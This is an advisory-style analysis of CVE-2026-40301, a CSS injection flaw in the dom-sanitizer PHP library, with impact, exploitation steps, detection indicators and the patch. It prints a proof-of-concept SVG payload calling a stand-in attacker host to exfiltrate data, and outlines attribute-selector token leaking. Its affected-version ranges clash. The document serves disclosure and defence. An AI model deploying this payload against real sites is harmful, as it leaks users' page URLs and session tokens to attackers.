CVE-2026-40301: 
PHP vulnerability analysis and mitigation

CVE-2026-40301 is a CSS injection vulnerability in the rhukster/dom-sanitizer PHP library (DOMSanitizer) that allows unfiltered CSS url() references and @import rules to pass through the sanitizer when embedded in SVG or HTML <style> elements. Affecting all versions up to and including 1.0.9 (≤ 1.2.1 per the advisory), the flaw was published on April 17, 2026, and patched in version 1.0.10. It carries a CVSS v3.1 base score of 4.7 (Medium) (GitHub Advisory, Feedly).

The root cause is CWE-79 (Improper Neutralization of Input During Web Page Generation). In src/DOMSanitizer.php, the sanitize() method allows <style> as a permitted tag in SVG (and HTML) mode and strips dangerous attributes via an EXTERNAL_URL pattern — but it never inspects the text node content of <style> elements. Because CSS rules reside in text nodes rather than attributes, external url() references (e.g., url(https://attacker.example/collect)) and @import directives pass through completely unfiltered. An attacker can also bypass naive string matching using CSS hex escapes (e.g., \75 rl(...) for url(...)) since the pre-patch code performed no hex-escape normalization before pattern matching (GitHub Advisory, Fix Commit).

When a victim's browser renders the sanitized SVG or HTML output, it automatically issues HTTP GET requests to attacker-controlled hosts specified in the CSS url() or @import rules, leaking the page URL and potentially session-related data. On browsers that support CSS attribute-selector side-channel techniques, an attacker may further exfiltrate form token values or partial cookie contents. Availability and integrity are not directly impacted, but confidentiality is compromised for any user who views content processed by the vulnerable library. The vulnerability was confirmed exploitable in Statamic CMS (related advisory GHSA-g8hv-8w5p-cvqg) (GitHub Advisory, Release 1.0.10).

No public exploit kit or weaponized tooling has been reported. The EPSS score is 0.029% (very low probability of near-term exploitation), and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. Exploitation requires user interaction (a victim must render the attacker-supplied SVG/HTML in a browser), but no authentication or special privileges are needed on the attacker's side. A proof-of-concept payload is included in the GitHub Security Advisory itself (GitHub Advisory, Feedly).

1. Craft malicious SVG payload: Construct an SVG document containing a <style> element with an external url() reference or @import rule, e.g.:

<svg xmlns="http://www.w3.org/2000/svg">
  <style>* { background: url("https://attacker.example/collect"); }</style>
</svg>

2. Submit to target application: Inject the malicious SVG into any input field or upload mechanism that passes user-controlled content through DOMSanitizer::sanitize() (e.g., a rich-text editor, avatar upload, or content field in Statamic CMS).
3. Bypass sanitization: The sanitizer removes disallowed tags and strips dangerous attributes but does not inspect <style> text node content, so the payload survives unchanged.
4. Trigger victim rendering: Cause a victim user to load the page or resource where the sanitized SVG is rendered (e.g., share a link, embed in a public page).
5. Collect exfiltrated data: The victim's browser automatically issues a GET request to https://attacker.example/collect, including the Referer header (page URL). Monitor the attacker-controlled server logs to capture the leaked URL and any additional data.
6. Advanced exfiltration (optional): Use CSS attribute-selector techniques combined with url() callbacks to iteratively leak form token characters or partial session values from the rendered page (GitHub Advisory, Fix Commit).

• Network: Outbound HTTP GET requests from end-user browsers to unexpected external hosts originating from pages that render user-supplied SVG/HTML content; Referer headers in attacker server logs pointing to the victim application's URLs.
• Logs: Web server or CDN access logs showing requests to attacker-controlled domains (e.g., attacker.example) with referrer values matching internal application pages; unusual CSS @import or url() patterns in stored content fields.
• File System / Content Store: Stored SVG or HTML content containing <style> blocks with external url() references (e.g., url(https://, url(http://, url(//, url(ftp://, url(data:) or @import directives in text node content.
• Application: User-submitted content that passes through DOMSanitizer::sanitize() and contains <style> elements — review stored content in databases or file stores for suspicious CSS rules (GitHub Advisory).

Upgrade rhukster/dom-sanitizer to version 1.0.10 or later via Composer (composer update rhukster/dom-sanitizer). The fix adds a hasDangerousStyleContent() method that normalizes CSS hex escapes and then drops any <style> element whose text content contains @import, url() with an external scheme (http:, https:, ftp:, //, data:), or legacy expression(). Fragment-only references like url(#gradientId) are preserved for legitimate SVG use. No configuration-based workaround is available for unpatched versions other than disabling <style> tag support entirely or stripping all <style> elements from user input before passing to the sanitizer (Release 1.0.10, Fix Commit).

The vulnerability was reported by researcher morimori-dev and credited in the GitHub Security Advisory. The fix was released by maintainer Andy Miller (rhukster) on April 10, 2026. A related advisory (GHSA-g8hv-8w5p-cvqg) was issued for Statamic CMS, which uses this library, indicating downstream impact awareness. Community discussion was limited, with automated CVE tracking services (VulDB, CIRCL, cve.report) picking up the disclosure shortly after publication (GitHub Advisory, Release 1.0.10).